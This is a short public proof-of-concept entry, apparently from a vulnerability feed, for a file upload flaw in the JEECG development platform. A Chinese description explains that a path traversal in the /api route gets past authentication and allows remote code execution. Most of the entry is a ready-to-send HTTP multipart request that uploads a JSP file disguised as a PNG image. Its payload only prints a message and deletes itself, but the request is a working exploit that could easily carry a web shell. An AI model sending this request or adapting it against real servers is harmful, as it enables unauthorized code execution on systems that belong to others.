Jeecg /api/../commonController.do 文件 文件上传漏洞

2024-04-19 Jeecg PoC Public

Description

JEECG（J2EE Code Generation）是一款基于代码生成器的智能开发平台。引领新的开发模式(Online Coding->代码生成器->手工MERGE智能开发)，可以帮助解决Java项目90%的重复工作，让开发更多关注业务逻辑。既能快速提高开发效率，帮助公司节省人力成本，同时又不失灵活性。JEECG /commonController.do?parserXml文件存在文件上传漏洞，由于 /api 接口鉴权时未过滤路径遍历，攻击者可构造包含 ../ 的url绕过鉴权。攻击者可构造恶意请求利用 commonController 接口进行文件上传攻击实现远程代码执行。

PoC

POST /api/../commonController.do?parserXml HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip, deflate
Content-Length: 463
User-Agent: Mozilla/2.0 (compatible; MSIE 3.01; Windows 95
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Connection: close

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; "name="name"

zW9YCa.png
------WebKitFormBoundarygcflwtei
ontent-Disposition: form-data; name="documentTitle"

blank
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="zW9YCa.jsp"
Content-Type: image/png

<% out.println("HelloWorld");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Jeecg /api/../commonController.do File File Upload Vulnerability

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